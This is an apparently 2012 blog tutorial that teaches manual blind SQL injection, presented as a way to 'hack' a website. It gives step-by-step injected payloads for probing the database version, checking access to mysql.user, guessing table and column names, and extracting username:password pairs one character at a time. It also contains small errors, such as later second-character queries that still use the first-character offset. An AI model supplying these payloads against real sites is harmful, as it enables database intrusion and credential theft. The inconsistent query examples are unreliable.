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Thursday, May 3, 2012

How to Blind sql injections | manually


Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established. 

Suppose That You want to Hack This website with Blind SQLi

when we execute this, we see some page and articles on that page, pictures

then when we want to test it for blind sql injection attack and 1=1 < this is always true
and the page loads normally, that's ok.
now the real test and 1=2 &lt this is false
so if some text, picture or some content is missing on returned page then
that site is vulrnable to blind sql injection.

1) Get the MySQL version
to get the version in blind attack we use substring
i.e and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e and substring(@@version,1,1)=5

2) Test if subselect works
when select don't work then we use subselect
i.e and (select 1)=1
if page load normally then subselects work. then we gonna see if we have access to mysql.user
i.e and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can
pull some password usign load_file() function and OUTFILE.

3). Check table and column names
This is part when guessing is the best friend :) i.e.
http://www.examplecom/index.php?id=5 and (select 1 from users limit 0,1)=1
(with limit 0,1 our query here returns 1 row of data, cause subselect
returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users
if you get FALSE (some article missing), just change table name until you
guess the right one 
let's say that we have found that table name is users, now what we need is
column name.
the same as table name, we start guessing. Like i said before try the
common names for columns.
i.e and (select substring(concat(1,
password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get
false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first
character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull
characters from that. and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii()
converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false. and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99
so the first character in username is char(99). Using the ascii converter
we know that char(99) is letter 'c'.
then let's check the second character. and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it
returns the second character, 1 character in lenght) and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher. and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number. and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher. and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>105
we know that the second character is char(105) and that is 'i'. We have
'ci' so far
so keep incrementing until you get the end. 

(when >0 returns false we know
that we have reach the end)....!!!

There are some tools for Blind 
SQL Injection, like i say sqlmap 0.9 is the best
but i'm doing everything manually,
bcoz that makes you better SQL INJECTOR :D

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